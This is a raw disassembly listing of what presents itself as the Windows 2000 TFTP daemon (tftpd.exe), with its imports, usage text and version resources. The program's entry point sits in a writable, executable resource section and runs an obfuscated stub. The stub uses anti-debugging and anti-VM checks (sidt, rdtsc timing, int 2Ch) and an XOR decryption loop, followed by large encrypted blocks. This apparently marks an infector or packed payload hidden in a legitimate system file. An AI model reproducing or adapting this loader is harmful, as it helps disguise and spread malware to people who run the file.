_XcptFilter ; _XcptFilter add esp, 8 retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov edx, [ebp-30h] push edx call ds:_exit ; _exit ; --------------------------------------------------------------------------- loc_1003B80: ; CODE XREF: .text:01003B5Cj add esp, 4 mov dword ptr [ebp-4], 0FFFFFFFFh mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [00000006 BYTES: COLLAPSED FUNCTION _XcptFilter. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION _initterm. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= sub_1003BB0 proc near ; CODE XREF: .text:loc_1003AE1p push 30000h ; Mask push 10000h ; NewValue call _controlfp ; _controlfp add esp, 8 retn sub_1003BB0 endp ; --------------------------------------------------------------------------- align 10h loc_1003BD0: ; DATA XREF: .text:01003AD3o xor eax, eax retn ; --------------------------------------------------------------------------- align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] align 10h loc_1003BF0: ; DATA XREF: .text:01003A5Ao jmp ds:_except_handler3 ; [00000006 BYTES: COLLAPSED FUNCTION _controlfp. PRESS KEYPAD "+" TO EXPAND] dd 3D7Ch, 2 dup(0FFFFFFFFh), 3E60h, 10F4h, 3CA4h, 2 dup(0FFFFFFFFh) dd 4012h, 101Ch, 3C88h, 2 dup(0FFFFFFFFh), 40A2h, 1000h dd 3DCCh, 2 dup(0FFFFFFFFh), 4172h, 1144h, 3DC0h, 2 dup(0FFFFFFFFh) dd 41A2h, 1138h, 3D04h, 2 dup(0FFFFFFFFh), 42F6h, 107Ch dd 5 dup(0) dd 4092h, 4020h, 407Eh, 4070h, 4052h, 403Eh, 0 dd 3E6Ch, 3FF6h, 3FE6h, 3FCEh, 3FBEh, 3FB2h, 3FA2h, 3E7Ah dd 3E8Ah, 3EA0h, 3EB0h, 3ECCh, 3EDAh, 3EF2h, 3EFEh, 3F0Ch dd 3F24h, 3F3Ch, 3F56h, 3F62h, 3F70h, 3F78h, 3F92h, 0 dd 4282h, 4272h, 428Eh, 4230h, 4226h, 421Eh, 4214h, 420Ah dd 4200h, 41F8h, 41F0h, 41E6h, 41DCh, 41D2h, 41CAh, 41C2h dd 4302h, 42E2h, 42D0h, 42C2h, 42B2h, 42A2h, 41B8h, 4262h dd 4254h, 424Ch, 423Ah, 4242h, 41B0h, 0 dd 3E52h, 8000006Fh, 80000073h, 3E08h, 80000009h, 3E1Ah dd 8000000Fh, 3E34h, 8000000Ah, 3E42h, 80000003h, 8000000Ch dd 80000002h, 80000037h, 80000017h, 80000014h, 0 dd 417Ch, 4190h, 0 dd 4126h, 4168h, 415Eh, 4154h, 4142h, 4130h, 411Ah, 4112h dd 410Ah, 40F4h, 40EAh, 40D4h, 40B0h, 40C2h, 0 dd 53570019h, 65764541h, 6553746Eh, 7463656Ch, 1B0000h aWsagetoverlapp db 'WSAGetOverlappedResult',0 align 4 a2 db '2',0 aWsarecvfrom db 'WSARecvFrom',0 dw 0Fh aWsacloseevent db 'WSACloseEvent',0 db '=',0 aWsasocketa db 'WSASocketA',0 align 10h aWs2_32_dll db 'WS2_32.dll',0 align 4 aM db '',0 aExitprocess db 'ExitProcess',0 dw 12Dh aGetlasterror db 'GetLastError',0 align 2 dw 2FDh aWaitforsingleo db 'WaitForSingleObject',0 a4 db '4',0 aCreateeventa db 'CreateEventA',0 align 10h db 0C5h ; db 1, 49h, 6Eh aItializecritic db 'itializeCriticalSection',0 dd 654801B6h, 72437061h, 65746165h, 1DE0000h aLeavecriticals db 'LeaveCriticalSection',0 align 2 dw 1BAh aHeapfree db 'HeapFree',0 align 2 dw 1Eh aClosehandle db 'CloseHandle',0 aO db 'o',0 aEntercriticals db 'EnterCriticalSection',0 align 4 retf ; --------------------------------------------------------------------------- db 1, 49h, 6Eh aTerlockedincre db 'terlockedIncrement',0 align 4 db 0FBh ; db 2, 57h, 61h aItformultipleo db 'itForMultipleObjects',0 align 2 dw 1B4h aHeapalloc db 'HeapAlloc',0 dw 252h aResetevent db 'ResetEvent',0 align 10h retn ; --------------------------------------------------------------------------- db 2, 53h, 6Ch db 65h ; e db 65h, 70h, 0 db 0D8h ; db 2, 54h, 72h aYentercritical db 'yEnterCriticalSection',0 dw 2C5h aSuspendthread db 'SuspendThread',0 dw 254h aResumethread db 'ResumeThread',0 db 0, 90h, 2 aSetevent db 'SetEvent',0 align 2 dw 29Ch aSetlasterror db 'SetLastError',0 align 2 aZ db 'Z',0 aDeletecritical db 'DeleteCriticalSection',0 dw 12Fh aGetlocaltime db 'GetLocalTime',0 align 2 aP db '',0 aExpandenvironm db 'ExpandEnvironmentStringsA',0 aKernel32_dll db 'KERNEL32.dll',0 align 10h db 0E5h ; db 1, 53h, 74h aArtservicectrl db 'artServiceCtrlDispatcherA',0 dw 1DFh aSetservicestat db 'SetServiceStatus',0 align 2 dw 1B9h aRegisterservic db 'RegisterServiceCtrlHandlerA',0 db 84h ; db 1, 52h, 65h aGclosekey db 'gCloseKey',0 dw 1A7h aRegqueryvaluee db 'RegQueryValueExA',0 align 2 dw 19Dh aRegopenkeyexa db 'RegOpenKeyExA',0 aAdvapi32_dll db 'ADVAPI32.dll',0 align 10h db 50h ; P db 2, 52h, 74h aLregisterwait db 'lRegisterWait',0 dw 184h aRtlcreatetimer db 'RtlCreateTimer',0 align 4 db 85h ; db 1, 52h, 74h aLcreatetimerqu db 'lCreateTimerQueue',0 dw 42Eh a_chkstk db '_chkstk',0 db 0A1h ; db 1, 52h, 74h aLderegisterwai db 'lDeregisterWaitEx',0 dw 433h a_itoa db '_itoa',0 dw 450h aAtoi db 'atoi',0 align 2 dw 43Dh a_stricmp db '_stricmp',0 align 2 dw 46Dh aMemmove db 'memmove',0 dd 7452019Dh, 6C65446Ch, 54657465h, 72656D69h, 2990000h dd 556C7452h, 74616470h, 6D695465h, 7265h, 6F740486h, 65776F6Ch dd 45F0072h, 70757369h, 726570h, 7473047Dh, 70636E72h dd 746E0079h, 2E6C6C64h, 6C6C64h, 6F4E004Fh, 79666974h dd 72646441h, 6E616843h, 6567h, 65470022h, 41704974h, 54726464h dd 656C6261h, 70690000h, 61706C68h, 642E6970h, 6C6Ch, 78650246h dd 7469h, 7270029Bh, 66746E69h, 2430000h, 6D697463h, 2540065h dd 65706F66h, 17F006Eh, 646B6D5Fh, 7269h, 655F00C5h, 6F6E7272h dd 0AA0000h, 6468635Fh, 7269h, 697402CDh, 656Dh, 7266025Bh dd 6565h, 63660249h, 65736F6Ch, 2A40000h, 6C616572h, 636F6Ch dd 616D028Eh, 636F6C6Ch, 1950000h, 6165725Fh, 0B00064h dd 6F6C635Fh, 6573h, 6C5F0141h, 6B656573h, 1840000h, 65706F5Fh dd 214006Eh, 6972775Fh, 6574h, 655F00D0h, 746978h, 585F0048h dd 46747063h, 65746C69h, 630072h, 5F705F5Fh, 6E695F5Fh dd 6E657469h, 580076h, 65675F5Fh, 69616D74h, 6772616Eh dd 10C0073h, 696E695Fh, 72657474h, 82006Dh, 65735F5Fh dd 65737574h, 74616D72h, 72726568h, 9B0000h, 6A64615Fh dd 5F747375h, 76696466h, 690000h, 5F705F5Fh, 6D6F635Fh dd 65646F6Dh, 6E0000h, 5F705F5Fh, 6F6D665Fh, 6564h, 5F5F0080h dd 5F746573h, 5F707061h, 65707974h, 0C70000h, 6378655Fh dd 5F747065h, 646E6168h, 3372656Ch, 534D0000h, 54524356h dd 6C6C642Eh, 0B40000h, 6E6F635Fh, 6C6F7274h, 7066h, 3Ch dup(0) _text ends ; Section 2. (virtual address 00005000) ; Virtual size : 000012DC ( 4828.) ; Section size in file : 00000E00 ( 3584.) ; Offset to raw data for section: 00003A00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 1005000h dword_1005000 dd 0 dword_1005004 dd 0 dword_1005008 dd 0 dword_100500C dd 0 ; char Format[] Format db ' ================================================================' ; DATA XREF: sub_1001570+4Do db '======== ',0Ah db 'Abstract: ' db ' ',0Ah db ' This implements an RFC 783 tftp daemon. ' db ' ',0Ah db ' It listens on port 69 for requests ' db ' ',0Ah db ' and spawns a thread to process each request. ' db ' ',0Ah db ' ' db ' ',0Ah db 'TFTPD USAGE and Installation: ' db ' ',0Ah db ' ' db ' ',0Ah db ' md d:/tftpd (the StartDirec' db 'tory). ',0Ah db ' copy //MohsinA_p90/test/tftpd.exe . ' db ' ',0Ah db ' sc create tftpd binPath= d:/tftpd/tftpd.exe (give full path' db '). ',0Ah db ' sc query tftpd (check if insta' db 'lled). ',0Ah db ' ' db ' ',0Ah db 'Start: ' db ' ',0Ah db ' sc start tftpd -f (creates a log ' db 'file). ',0Ah db 'or sc start tftpd ' db ' ',0Ah db 'or net start tftpd ' db ' ',0Ah db 'or sc start tftpd [-dStartDirectory] [-e] [-f] ' db ' ',0Ah db ' Options: -e use event log. ' db ' ',0Ah db ' -f log to file. ' db ' ',0Ah db ' -dStartDirectory ' db ' ',0Ah db 'Info: ' db ' ',0Ah db ' sc interrogate tftpd (logs will be updated). ' db ' ',0Ah db ' sc query tftpd Check whether running. ' db ' ',0Ah db 'Stop: ' db ' ',0Ah db ' sc stop tftpd ' db ' ',0Ah db ' net stop tftpd ' db ' ',0Ah db ' ' db ' ',0Ah db 'Variables that control what files can be read/written and by whom' db ': ',0Ah db ' StartDirectory - only files there will be accessible. ' db ' ',0Ah db ' LogFile is created here. ' db ' ',0Ah db ' ValidClients - Clients matching this ip address can read files' db '. ',0Ah db ' eg. you can set it to "157.55.8?.*" ' db ' ',0Ah db ' ValidMasters - clients matching this can write and read file' db 's. ',0Ah db ' eg. you can set it to "" and no one can write' db '. ',0Ah db ' ValidReadFiles - only matching files will be served out, eg. "' db 'r*.t?t"',0Ah db ' ValidWriteFiles- only matching files will be accepted, eg. "w' db '*.txt" ',0Ah db ' ' db ' ',0Ah db 'Client: ' db ' ',0Ah db ' tftp [-i] servername {get|put} src_file dest_file ' db ' ',0Ah db ' -i from binary mode, else ascii mode is used. ' db ' ',0Ah db ' ' db ' ',0Ah db ' ================================================================' db '======== ',0Ah,0 align 8 ; char ServiceName[] ServiceName db 'Tftpd',0 ; DATA XREF: sub_1001665+Bo ; .data:ServiceStartTableo align 10h ; SERVICE_TABLE_ENTRYA ServiceStartTable ServiceStartTable SERVICE_TABLE_ENTRYA <offset ServiceName, offset sub_1001665> ; DATA XREF: sub_1001570:loc_1001646o ; "Tftpd" align 10h off_1005CC0 dd offset aErrorUndefined ; DATA XREF: sub_100230A+73r ; "Error undefined" dd offset aFileNotFound ; "File not found" dd offset aAccessViolatio ; "Access violation" dd offset aDiskFullOrAllo ; "Disk full or allocation exceeded" dd offset aIllegalTftpOpe ; "Illegal TFTP operation" dd offset aUnknownTransfe ; "Unknown transfer ID" dd offset aFileAlreadyExi ; "File already exists" dd offset aNoSuchUser ; "No such user" dd offset aOptionNegotiat ; "Option negotiation failure" align 8 ; BYTE Data Data db 2Ah ; DATA XREF: sub_1002F31+143o ; sub_10037BF+87o align 4 dd 0Dh dup(0) ; BYTE byte_1005D20 byte_1005D20 db 2Ah ; DATA XREF: sub_1002F31+154o ; sub_100333A+163o ... align 4 dd 0Dh dup(0) ; BYTE byte_1005D58 byte_1005D58 db 2Ah ; DATA XREF: sub_1002F31+165o ; sub_10037BF+EAo align 4 dd 0Dh dup(0) ; BYTE byte_1005D90 byte_1005D90 db 2Ah ; DATA XREF: sub_100333A+178o ; sub_10037BF+11Ao align 4 dd 0Ch dup(0) dword_1005DC4 dd 1 align 10h ; FILE *File File dd 0 ; DATA XREF: sub_1001665+1E5w ; sub_1001E73:loc_1001F36r ... dword_1005DD4 dd 0 dword_1005DD8 dd 0 ; sub_1001665:loc_100182Er ... ; HANDLE hHandle hHandle dd 0 ; DATA XREF: sub_1001665+84w ; sub_1001665+8Br ... ; HANDLE hObject hObject dd 0 ; DATA XREF: sub_1001665+91w ; sub_1001E73:loc_1001F0Cr ... align 8 ; volatile LONG Addend Addend dd 0 ; DATA XREF: sub_1001A91+26Eo ; sub_1001A91+2B3o ; HANDLE hHeap hHeap dd 0 ; DATA XREF: sub_10019F0+29w ; sub_1001A1F+52r ... dword_1005DF0 dd 0 ; sub_1001A1F+5Ew ... dword_1005DF4 dd 0 ; sub_1001A91+59w ... dword_1005DF8 dd 0 ; sub_10018DB+EFr dword_1005DFC dd 0 ; HANDLE Handle Handle dd ? ; DATA XREF: sub_10018DB+F4o ; sub_1002219+D5o db 3 dup(?) dword_1005E07 dd ? ; sub_1003910+6Br ... align 4 dd 7Ch dup(?) dword_1005FFC dd ? dword_1006000 dd ? dword_1006004 dd ? dword_1006008 dd ? dword_100600C dd ? dd 4 dup(?) ; struct _RTL_CRITICAL_SECTION stru_1006020 stru_1006020 _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+14o ; .text:01001D78o ... ; void *Memory Memory dd ? ; DATA XREF: sub_10018DB+2Ao ; sub_10018DB+34w ... dword_100603C dd ? ; HANDLE hThread hThread dd ? ; DATA XREF: HandlerProc:loc_1001E1Dr ; HandlerProc:loc_1001E35r ; SERVICE_STATUS_HANDLE hServiceStatus hServiceStatus dd ? ; DATA XREF: sub_1001665+52w ; sub_1001665+DBr ... dword_1006048 dd 6 dup(?) ; struct _RTL_CRITICAL_SECTION stru_1006060 stru_1006060 _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10019F0+5o ; sub_1001A1F+2o ... ; LPVOID lpMem lpMem dd ? ; DATA XREF: sub_10019F0o ; sub_10019F0+Fw ... dword_100607C dd ? ; struct _RTL_CRITICAL_SECTION CriticalSection CriticalSection _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+Do ; sub_100287F+1o ... dword_1006098 dd ? ; sub_10018DB+25w ... dword_100609C dd ? dword_10060A0 dd ? ; sub_10018DB+A2r ... dd 7 dup(?) ; time_t Time Time dq ? ; DATA XREF: sub_1001665+10Ao ; sub_1001665:loc_1001857o ... dword_10060C8 dd ? dword_10060CC dd ? dd 0Ch dup(?) ; struct _OVERLAPPED overlapped overlapped _OVERLAPPED <?> ; DATA XREF: sub_10018DB+E0o ; sub_1002219:loc_10022E9o align 10h ; struct _SERVICE_STATUS ServiceStatus ServiceStatus _SERVICE_STATUS <?> ; DATA XREF: sub_1001665+10w ; sub_1001665+63o ... align 10h ; struct WSAData stru_1006140 stru_1006140 WSAData <?> ; DATA XREF: sub_1001665+9Co dword_10062D0 dd ? dword_10062D4 dd ? dword_10062D8 dd ? align 200h _data ends ; Section 3. (virtual address 00007000) ; Virtual size : 00007400 ( 29696.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00004800 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _rsrc segment para public 'CODE' use32 assume cs:_rsrc ;org 1007000h assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing dd 3 dup(0) dd 10000h, 10h, 80000018h, 3 dup(0) dd 10000h, 1, 80000030h, 3 dup(0) dd 10000h, 409h, 48h, 7060h, 374h, 4 dup(0) dd 340374h, 560000h, 5F0053h, 450056h, 530052h, 4F0049h dd 5F004Eh, 4E0049h, 4F0046h, 0 dd 0FEEF04BDh, 10000h, 50000h, 8560001h, 50000h, 8560001h dd 3Fh, 0 dd 40004h, 1, 3 dup(0) dd 2D4h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h dd 66006Eh, 6Fh, 2B0h, 300001h, 300034h, 300039h, 420034h dd 30h, 16004Ch, 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh dd 65006Dh, 0 aMicrosoftCorpo: unicode 0, <Microsoft Corporation>,0 aR: unicode 0, <r%> dd 460001h, 6C0069h, 440065h, 730065h, 720063h, 700069h dd 690074h, 6E006Fh, 0 aTcpIpTrivialFi: unicode 0, <TCP/IP Trivial file transfer daemon.>,0 align 4 a8 db '8',0 dw 0Ch dd 460001h, 6C0069h, 560065h, 720065h, 690073h, 6E006Fh dd 0 a5_00_2134_1: unicode 0, <5.00.2134.1>,0 a4_0: unicode 0, <4> dw 0Ah dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch, 6D0061h dd 65h, 660074h, 700074h, 2E0064h, 780065h, 65h, 280074h dd 4C0001h, 670065h, 6C0061h, 6F0043h, 790070h, 690072h dd 680067h, 74h, 6F0043h, 790070h, 690072h, 680067h, 200074h dd 430028h, 200029h, 69004Dh, 720063h, 73006Fh, 66006Fh dd 200074h, 6F0043h, 700072h, 20002Eh, 390031h, 310038h dd 31002Dh, 390039h, 39h, 0A003Ch, 4F0001h, 690072h, 690067h dd 61006Eh, 46006Ch, 6C0069h, 6E0065h, 6D0061h, 65h, 660074h dd 700074h, 2E0064h, 780065h, 65h, 2F007Eh, 500001h, 6F0072h dd 750064h, 740063h, 61004Eh, 65006Dh, 0 aMicrosoftRWind: unicode 0, <Microsoft(R) Windows (R) 2000 Operating System>,0 align 4 db '<',0 dw 0Ch dd 500001h, 6F0072h, 750064h, 740063h, 650056h, 730072h dd 6F0069h, 6Eh, 2E0035h, 300030h, 32002Eh, 330031h, 2E0034h dd 31h, 44h, 560001h, 720061h, 690046h, 65006Ch, 6E0049h dd 6F0066h, 0 dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h dd 6E006Fh, 0 dd 4B00409h, 0Bh dup(0) assume ds:_data ; =============== S U B R O U T I N E ======================================= public start start proc near cld call near ptr sub_100742E start endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1007406 proc near ; CODE XREF: sub_100742E+4Fp push ebx mov ecx, 0DA5h mov ebx, edx loc_100740E: ; CODE XREF: sub_1007406+13j xor [eax], dx lea eax, [eax+2] xchg dl, dh lea edx, [ebx+edx] loop loc_100740E pop ebx retn sub_1007406 endp ; --------------------------------------------------------------------------- db 0AFh, 79h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100742E loc_100741F: ; CODE XREF: sub_100742E+3Aj pop ebp retn ; END OF FUNCTION CHUNK FOR sub_100742E ; =============== S U B R O U T I N E ======================================= sub_1007421 proc far ; CODE XREF: sub_100742E+8j ; sub_100742E+19j push ebp mov eax, 8000h xor ecx, ecx ; CODE XREF: sub_100742E:loc_1007483j jmp short loc_1007455 sub_1007421 endp ; =============== S U B R O U T I N E ======================================= sub_100742B proc near ; CODE XREF: sub_100742E+1Cp ; sub_100742E+22p rdtsc retn sub_100742B endp ; =============== S U B R O U T I N E ======================================= sub_100742E proc far ; CODE XREF: start+1p var_6 = byte ptr -6 arg_9E9996A = byte ptr 9E99972h ; FUNCTION CHUNK AT 0100741F SIZE 00000002 BYTES test eax, eax jnz short loc_100743A int 2Ch ; Internal routine for MSDOS (IRET) test eax, eax jns short near ptr sub_1007421 jmp short loc_1007449 ; --------------------------------------------------------------------------- loc_100743A: ; CODE XREF: sub_100742E+2j push eax sidt fword ptr [esp+var_6+4] pop eax mov eax, [eax+6] shl eax, 10h jns short near ptr sub_1007421 loc_1007449: ; CODE XREF: sub_100742E+Aj push ebp call sub_100742B xchg eax, ecx call sub_100742B loc_1007455: ; CODE XREF: sub_1007421+8j sub eax, ecx mov ebp, [esp+4] sub dword ptr [esp+4], 39B6h sub eax, 100h jnb short loc_100741F sub ebp, 301006h lea eax, [ebp+301082h] mov dx, [eax-65h] call sub_1007406 inc esp loc_1007483: ; CODE XREF: sub_100742E+57j jns short near ptr loc_1007427+1 jnz short loc_1007483 test eax, 3A01B1D1h xchg al, [esp+ecx*2+arg_9E9996A] push 45904DC3h in al, 0F4h mov ds:8F96EC85h, eax stosb into adc ch, ch mov al, 7Bh add al, 6Ch fadd qword ptr [eax-6E609D34h] insb retf 6945h sub_100742E endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp short loc_1007515 ; --------------------------------------------------------------------------- dd 0EE817217h, 50E14E5Dh, 87FB3A92h, 2DC47375h, 5FE890BFh dd 4AF157F8h, 7147065Ch, 0A5932A9Ah, 4832DCAEh, 0F82F8D96h dd 553DEEA7h, 3EF3B09Ch, 1CDA8BBCh, 68D22250h, 4A2CB419h dd 0DC08A1F7h, 1541759Bh, 4C37C5C4h, 2E88C88h, 0E1A06053h dd 0E4EE7E4Ah, 659EBE99h, 970BA5Eh, 3268B550h db 0E1h ; --------------------------------------------------------------------------- loc_1007515: ; CODE XREF: .rsrc:010074B2j mov ds:6F7934FCh, al icebp loop loc_1007579 push edi ; --------------------------------------------------------------------------- dw 0CE8Eh dd 2F40F5Ah, 0D6F9000Ah, 4B5AE9Ch, 0CA85D6D1h, 9029F13Eh dd 0F029D8D9h, 0E32AC5B0h, 31AD7947h, 19B127AFh, 0E6FACAC9h dd 6C91E78Ah, 0E86F981Bh, 0BCF37456h, 0F09CC8E8h, 594596A4h db 7Bh ; --------------------------------------------------------------------------- loc_100755D: ; CODE XREF: .rsrc:01007589j cmp edx, [eax] loc_100755F: ; CODE XREF: .rsrc:01007586j and eax, 0E994E6D6h mov edx, 37B895D6h mov ch, 52h add ecx, [edx+51h] adc dl, ch inc ecx pop es test ch, bl ; --------------------------------------------------------------------------- dd 9A61829Ah db 0FEh ; --------------------------------------------------------------------------- loc_1007579: ; CODE XREF: .rsrc:0100751Bj xor cl, [edi-12FCFCB0h] cld xchg eax, esi sbb eax, 545394CEh jno short loc_100755F push ss jle short loc_100755D arpl [eax-3EE09975h], di js short loc_10075D1 pop edx or [edx-69h], edi adc fs:[eax], ah inc esi sbb al, 7Ah pop esp enter 0FFFF9BC1h, 75h mov ds:7A8EAB4Fh, al adc eax, edx cmp al, 0E7h adc edi, eax fistp dword ptr [edx-33F4035Ch] or eax, ebp cmp eax, 21EFB5ECh add [ebp+ecx*8-49900274h], esi cmpsd db 66h cmp [esi+5Ah], dl outsd jb short near ptr loc_10075FD+4 or bh, bl aad 50h xor eax, esp retn ; --------------------------------------------------------------------------- pop eax loc_10075D1: ; CODE XREF: .rsrc:01007591j movsd pushf mov ds:7E32B3ADh, eax push 0FFFFFFA3h fbld tbyte ptr [ebx-30h] loc_10075DD: ; CODE XREF: .rsrc:010075E7j aam 83h fidiv dword ptr [ecx+49h] stosd adc ax, 5F25h jno short loc_10075DD loc_10075E9: ; CODE XREF: .rsrc:010075F6j pop ebx cmc mov byte ptr [ebp-0Ah], 0CBh out dx, eax mov ss, word ptr [eax+3552954Fh] db 66h jno short loc_10075E9 add edi, [edx] xchg eax, ebp sti loc_10075FD: ; CODE XREF: .rsrc:010075C7j call far ptr 0B29Bh:0BECAB224h pop edx stosd inc ebx outsb pop es cmp ebx, [ecx+3Ch] mov ebx, 18BEC04Fh insd les ecx, [esi-0Dh] dec edx mov al, ds:0E5355DD1h scasd pop ebp mov al, ds:0B8AD369Bh aaa sub dword ptr [ebx-70h], 0FFFFFFDAh jmp near ptr 517FD303h ; --------------------------------------------------------------------------- dd 10270101h, 0CAD84029h, 4B025751h, 0F52B7C12h, 0FCC15AA3h dd 0C37CFDE7h, 0B420FA35h, 0FDCD1E1Ch, 0BF9E1746h, 821F746Eh dd 1DA05897h, 6A71AB97h, 6298E881h, 6A54ED12h, 0DBEA0B11h dd 0DC126468h, 2EDD1874h, 2B8CB584h, 0BE8CDDDDh, 7FB504ACh dd 44872F44h, 2F0D325Ch, 0C91CE8EAh, 0E1A841A8h, 67846F52h dd 7BA9FACAh, 9CD0AEA7h, 0C4FDA44Bh, 0B96A7573h, 1601D2D8h dd 1368533Ah, 0DD10EEDEh, 90F600A9h, 562890Ch, 0E128451Eh dd 0E2D29F21h, 3369B87Dh, 70385F61h, 8BBA0B3Bh, 0ACE16DB7h dd 0A889D65Bh, 135B6A8h, 0A2D1AEDDh, 50B6FCEFh, 5297427Eh dd 5E282818h, 4D0F5150h, 0F3297843h, 30C32629h, 3585CBFBh dd 0E8277CF5h, 17CB2C36h, 8EDFC3F8h, 0E7E2916Dh, 0BC19896h dd 0B26EBFBDh, 52BA666Dh, 8BCFEF11h, 9965BCB6h, 66906251h dd 40AA007h, 2D624C4Ch, 57765CD3h, 0F3380405h, 0A6EC01A8h dd 0BEFA4FB6h, 62ABF07Fh, 0A057988Ch, 7A544A6Dh, 735807F9h dd 40572E22h, 2BF94A4Bh, 0EC227294h, 39B42116h, 0F1F8C4F4h dd 0BE6DEC87h, 0CC065E9h, 0F7873DDFh, 8A419E65h, 8427FA8Fh dd 2722F0Dh, 5B9359E1h, 8735090Ah, 541ECC7Fh, 59A13DA5h dd 0FD33C987h, 8D3AADACh, 0E4809258h, 1E0019CCh, 2B2EC48Ch dd 0A0FE259Bh, 0F1271823h, 1A3A6D2Bh, 43120D42h, 6CA0F19Ah dd 0C5897013h, 0ECFC2911h, 0C992F994h, 8D1C95A4h, 6304FD79h dd 0EB94E586h, 3BD64DBh, 0DAE25DFBh, 8B0D0A5Fh, 565089E2h dd 4160B1D1h, 0ABE288DAh, 0F124FD53h, 0FBDA1B07h, 0C2FCD10Ah dd 0F62D40F8h, 1FE02BA5h, 0F17DFEDEh, 71A5FEE2h, 3C3DF0ABh dd 0D1F7A5C9h, 6FAD7140h, 13798E9Fh, 0A9FC223Dh, 65A9F3B9h dd 0CC57EC46h, 5DEB0C10h, 0DE146572h, 6C52E1C1h, 4235C6C3h dd 35E4A8B6h, 0D7D3606Dh, 0CCAA5C51h, 2D585919h, 0CB1A5B14h dd 0F9DF22AAh, 1D82E3F8h, 1C8A91A8h, 0B46DBDAh, 43FC7D61h dd 0D05029B5h, 4E4CF508h, 2BA24C91h, 7B76BDF1h, 0C1C71819h dd 0D8950524h, 91490D1Ch, 602BE5FBh, 350FDCDEh, 83071CB2h dd 0DBB3C26h, 0F8B263F1h, 285A080Dh, 301AFE13h, 399A2CAFh dd 9F13288Fh, 10AF302Ah, 5DDA4329h, 0FB2D57C4h, 0F502C27Ah dd 36C4A4A3h, 6277452Dh, 0FA5CA3A1h, 97FC314Fh, 1A76B075h dd 0E82E4383h, 0EE10CC97h, 0A439555h, 17576DE9h, 7543574Eh dd 4C07483Eh, 0B61A4716h, 0FA11E68Bh, 1E4FF921h, 234B59DDh dd 8A5C96DAh, 94DD2E2Ah, 0E0E5C69Fh, 0D5C20546h, 0A2DA998h dd 5B601050h, 20F8F9FAh, 0CC807473h, 5105181Bh, 0ED135F8Eh dd 62155D19h, 1B003ACAh, 851962E6h, 78C5263Bh, 4711C253h dd 2C829734h, 0E140A1BBh, 1BAC3821h, 0B90E1E3h, 0AF749FF4h dd 391D3303h, 0D53B7796h, 1CE6B6Dh, 275DAE52h, 63DFD6D6h dd 28FCAF36h, 0A1D74F79h, 0D745054h, 0FE422929h, 0D803662Ah dd 100FAF9Ch, 92411AF3h, 47E4E3h, 0BDC35108h, 0B64D3C3Eh dd 2494036Ah, 0FCEEBE8Eh, 9E1E25C7h, 89E65748h, 0B1E7186Ch dd 0DA1071C2h, 3398A88h, 2C61B2B2h, 5589DADBh, 82E15555h dd 95F0F5B9h, 625DFE54h, 0C58BEF9h, 7C954944h, 2C0DAE8Dh dd 17CB96B6h, 0F0AD6F45h, 0B18C2A2Ch, 8844212Dh, 6623CDEEh dd 5172B6B7h, 5E89F9Fh, 0E2C36074h, 0DA9E494Eh, 9C150800h dd 7C5FEAFCh, 5D0FF1D2h, 198E9E85h, 0F6D66D7Bh, 0C6897754h dd 0A368173Ch, 9B5CEAF2h, 5718ACEAh, 2BF7B5B1h, 14C48EADh dd 0DEA75643h, 0A28F0D4Eh, 0A2430317h, 6D20CDFAh, 301F9CADh dd 6BFB9194h, 0F2AD6B59h, 0D3A52736h, 807B0E18h, 6831D793h dd 620EC8DDh, 37FF8B8Ah, 0B4CC616Bh, 0CE8B6504h, 0B7662C2Eh dd 797288F3h, 420BC4D9h, 37E6BDABh, 0FD54602h, 0C6B5436Ch dd 0BE762713h, 815E1E12h, 1E15D6C1h, 108A88Ah, 23C1999Fh dd 98A86476h, 86822200h, 0BD7A1C06h, 122DF4F1h, 7604A486h dd 8ED8D85h, 0E0A85476h, 0D98B755Eh, 9A132506h, 6971F9E9h dd 4A08C0D1h, 3CE2BC96h, 80F4636Bh, 0FBAA4A68h, 0B4732B2Eh dd 8859C5EDh, 4C2DC9CCh, 4CC0ABA0h, 21DD9FBCh, 0DBA24E41h dd 8B9E2025h, 0AF411815h, 6328D99Dh, 3018A392h, 1E98FBFh dd 0F4811759h, 0CB8A1634h, 8C77001Bh, 7F24D591h, 471BDFECh dd 18FF8D8Ah, 0C2BA4A74h, 0C2B54051h, 0B3612830h, 9053E8CCh dd 5C3FC2DCh, 10E8B8BEh, 0DCA4700h, 0C5B6407Fh, 8E72253Fh dd 904F0910h, 6521CBD6h, 2A178BCBh, 2FCF9596h, 0F5A37171h dd 0DF9A0A45h, 85772309h, 6935F9E4h, 5822C0FEh, 7FEBE98h dd 0CCA65E66h, 0B28C5650h, 0B577132Eh, 6157E5CCh, 5D13D5FEh dd 17ECB2B5h, 1BC44A05h, 0C9AF7E43h, 0BC753236h, 975DD07Eh dd 522BCCC4h, 23C6E3E3h, 73DC8A8Bh, 0F8BE5072h, 0F089382Fh dd 94463A40h, 701E9DEFh, 5732A1A5h, 349C8881h, 0E6836273h dd 0C3AF5A52h, 827E1A12h, 7A25E5FAh, 573BB9F9h, 37F9A795h dd 0EAD65A6Fh, 0D987475Ch, 0A06E0F5Ah, 9858ECC5h, 4330C7F8h dd 2AE985D5h, 2DAD8E9Bh, 0D0B74A49h, 0BF9A3919h, 986E1F38h dd 